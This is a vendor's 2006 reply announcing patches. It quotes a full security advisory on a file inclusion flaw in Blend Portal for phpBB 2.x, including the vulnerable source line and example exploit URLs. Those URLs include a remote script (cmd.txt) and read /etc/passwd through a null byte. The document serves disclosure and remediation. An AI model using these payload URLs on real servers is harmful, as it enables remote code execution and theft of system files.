I have addressed this issue & the one reported about the Activity Mod Plus.
Below is a link to patches for both. Thanks.
http://phpbb-tweaks.com/topics.html-p-17623#17623
Thanks For Your E-Mail
aUsTiN & Staff
For an interactinve phpBB Support board
http://phpbb-tweaks.com/
For a phpBB based portal & support
http://phpbb-portal.com/
For a phpBB based gaming system & support
http://phpbb-amod.com/
http://aUsTiN-Inc.net/
>From: Mustafa Can Bjorn IPEKCI <nukedx (at) nukedx (dot) com [email concealed]>
>To: submit (at) milw0rm (dot) com [email concealed],
>full-disclosure (at) lists.grok.org (dot) uk [email concealed],bugtraq (at) securityfocus (dot) com [email concealed],
>austin_inc (at) hotmail (dot) com [email concealed]
>Subject: Advisory: Blend Portal <= 1.2.0 for phpBB
>2.x(blend_data/blend_common.php) File Inclusion Vulnerability
>Date: Sun, 28 May 2006 20:46:39 +0300
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>--Security Report--
>Advisory: Blend Portal <= 1.2.0 for phpBB 2.x
>(blend_data/blend_common.php) File Inclusion Vulnerability.
>---
>Author: Mustafa Can Bjorn "nukedx a.k.a nuker" IPEKCI
>---
>Date: 28/05/06 07:52 PM
>---
>Contacts:{
>ICQ: 10072
>MSN/Email: nukedx (at) nukedx (dot) com [email concealed]
>Web: http://www.nukedx.com
>}
>---
>Vendor: phpbb-portal (http://www.phpbb-portal.com/)
>Version: 1.2.0 and prior versions must be affected.
>About: Via this methods remote attacker can include arbitrary
>internal/external files to phpBB. phpbb_root_path
>variable in /blend_data/blend_common.php did not sanitized properly before
>using it.You can find vulnerable code in
>blend_common.php at lines 74-77
>-Source in blend_common.php-
>74: else
>75: {
>76: include_once($phpbb_root_path . BLEND_DATA_PATH . BLEND_CACHE_PATH
>.'config.'. $phpEx);
>77: }
>-End of source-
>Level: Highly Critical
>---
>How&Example:
>Succesful exploitation needs register_globals on & allow url_fopen on
>GET ->
>http://[victim]/[phpBB]/blend_data/blend_common.php?phpbb_root_path=[FI
LE]
>EXAMPLE ->
>http://[victim]/[phpBB]/blend_data/blend_common.php?phpbb_root_path=htt
p://yoursite.com/cmd.txt?
>EXAMPLE ->
>http://[victim]/[phpBB]/blend_data/blend_common.php?phpbb_root_path=/et
c/passwd%00
>---
>Timeline:
>* 28/05/2006: Vulnerability found.
>* 28/05/2006: Contacted with vendor and waiting reply.
>---
>Exploit: http://www.nukedx.com/?getxpl=41
>---
>Original advisory can be found at: http://www.nukedx.com/?viewdoc=41
>
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